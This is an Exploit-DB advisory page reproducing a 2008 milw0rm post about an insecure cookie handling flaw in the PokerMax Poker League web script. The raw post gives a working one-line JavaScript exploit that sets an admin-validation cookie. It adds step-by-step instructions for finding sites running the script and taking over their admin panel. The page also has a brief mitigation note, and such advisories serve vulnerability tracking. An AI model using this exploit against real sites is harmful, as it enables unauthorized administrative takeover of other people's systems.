PokerMax Poker League Insecure Cookie Handling Vulnerability

vendor:

Poker League

by:

DaRkLiFe

7.5

CVSS

HIGH

Insecure Cookie Handling

264

CWE

Product Name: Poker League

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

PokerMax Poker League Insecure Cookie Handling Vulnerability

A vulnerability exists in PokerMax Poker League which allows an attacker to gain administrative access to the site by setting a cookie with the username of the administrator. The default username is 'admin' and if it is changed, the attacker can easily find out the username of the admin and substitute it in the exploit command.

Mitigation:

Ensure that the administrator username is not set to the default value and that the cookie is properly secured.

Source

Exploit-DB raw data:

**************************************************************************************

Author : DaRkLiFe
Greetz : str0ke & S.W.A.T. & funkys0ul

**************************************************************************************
Script   :

PokerMax Poker League Insecure Cookie Handling Vulnerability

Download:

http://www.stevedawson.com/downloads/pokerleague.zip
**************************************************************************************

Exploit :

javascript:document.cookie = "ValidUserAdmin=admin";

**here "admin" refers to username of administrator on site

default username is "admin" given after installation of site

but if it is changed u can easily find out username of admin and then 
substitute it in place of "admin"
**************************************************************************************

Instructions :

Find the site running on this script .

Go to http://site.com/pokerleague/pokeradmin/configure.php

It will ask for login. Now in url tab run the exploit command

Then return back to http://site.com/pokerleague/pokeradmin/configure.php

Now u should be loggedin as admin and change the thing into what you want .

**************************************************************************************

THANKS ! GREETZ ! HAPPY DIWALI !
**************************************************************************************

# milw0rm.com [2008-10-16]